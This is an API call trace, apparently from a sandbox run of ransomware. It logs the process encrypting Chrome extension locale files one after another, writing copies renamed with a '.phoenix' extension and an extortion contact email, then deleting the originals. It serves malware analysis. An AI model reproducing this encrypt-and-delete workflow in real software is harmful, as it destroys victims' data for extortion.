	[0255.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.936] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0255.937] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.937] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xce, lpOverlapped=0x0) returned 1
	[0255.937] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0255.938] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0255.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0255.938] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.938] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.938] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.938] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.939] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.939] CloseHandle (hObject=0x310) returned 1
	[0255.939] CloseHandle (hObject=0x314) returned 1
	[0255.939] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json")) returned 1
	[0255.940] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.941] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=206) returned 1
	[0255.941] CloseHandle (hObject=0x314) returned 1
	[0255.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json")) returned 0x20
	[0255.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.941] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.941] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.941] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.941] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.941] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1515c0) returned 1
	[0255.941] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.941] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xce, lpOverlapped=0x0) returned 1
	[0255.942] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0, dwBufLen=0xd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xd0) returned 1
	[0255.942] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xd0, lpOverlapped=0x0) returned 1
	[0255.943] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0255.943] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.943] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.943] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.943] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.943] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0255.943] CloseHandle (hObject=0x314) returned 1
	[0255.943] CloseHandle (hObject=0x310) returned 1
	[0255.944] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json")) returned 1
	[0255.945] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.945] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.945] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=216) returned 1
	[0255.945] CloseHandle (hObject=0x310) returned 1
	[0255.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json")) returned 0x20
	[0255.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.945] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.945] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.946] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.946] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0255.946] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.946] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd8, lpOverlapped=0x0) returned 1
	[0255.947] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.947] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.948] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0255.948] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.948] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.948] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.948] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.948] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.948] CloseHandle (hObject=0x310) returned 1
	[0255.948] CloseHandle (hObject=0x314) returned 1
	[0255.948] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json")) returned 1
	[0255.949] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.950] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.950] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=216) returned 1
	[0255.950] CloseHandle (hObject=0x314) returned 1
	[0255.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json")) returned 0x20
	[0255.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.950] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.950] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.950] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.951] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0255.951] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.951] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd8, lpOverlapped=0x0) returned 1
	[0255.952] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.952] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.953] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0255.953] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.953] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.953] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.953] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.953] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.953] CloseHandle (hObject=0x314) returned 1
	[0255.953] CloseHandle (hObject=0x310) returned 1
	[0255.953] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json")) returned 1
	[0255.954] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.954] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=219) returned 1
	[0255.955] CloseHandle (hObject=0x310) returned 1
	[0255.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json")) returned 0x20
	[0255.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.955] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.955] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.955] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.955] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.955] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0255.955] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.955] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdb, lpOverlapped=0x0) returned 1
	[0255.956] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.956] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0255.957] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.957] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.958] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.958] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.958] CryptDestroyKey (hKey=0x151340) returned 1
	[0255.958] CloseHandle (hObject=0x310) returned 1
	[0255.958] CloseHandle (hObject=0x314) returned 1
	[0255.958] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json")) returned 1
	[0256.156] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0256.156] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
